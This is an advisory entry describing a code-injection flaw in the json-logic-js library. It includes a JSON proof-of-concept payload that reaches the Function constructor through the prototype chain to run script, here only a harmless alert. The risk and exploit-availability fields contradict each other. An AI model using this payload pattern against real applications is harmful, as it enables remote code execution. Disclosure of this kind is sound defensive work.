Risk | High |
Patch available | NO |
Number of vulnerabilities | 1 |
CVE-ID | N/A |
CWE-ID | CWE-94 |
Exploitation vector | Network |
Public exploit | Public exploit code for vulnerability #1 is available. |
Vulnerable software Subscribe |
json-logic-js Web applications / Modules and components for CMS |
Vendor | Nicehop |
Security Bulletin
This security bulletin contains one high risk vulnerability.
EUVDB-ID: #VU46701
Risk: Medium
CVSSv3.1: 9 [CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:U/RC:C]
CVE-ID: N/A
CWE-ID:
CWE-94 - Improper Control of Generation of Code ('Code Injection')
Exploit availability: No
DescriptionThe disclosed vulnerability allows a remote attacker to perform code inection attacks.
The vulnerability exists due to insufficient sanitization of user-supplied data. A remote attacker can inject and execute arbitrary script code.
Example:
{
"method": [
{
"method": [
{
"var": "__proto__.constructor.is."
},
"constructor",
[
"var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
]
]
},
"call"
]
}
Mitigation
Cybersecurity Help is currently unaware of any official solution to address this vulnerability.
Vulnerable software versionsjson-logic-js: 1.0.1 - 1.2.2
External linkshttp://www.npmjs.com/advisories/1542
Q & A
Can this vulnerability be exploited remotely?
Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.
Is there known malware, which exploits this vulnerability?
No. We are not aware of malware exploiting this vulnerability.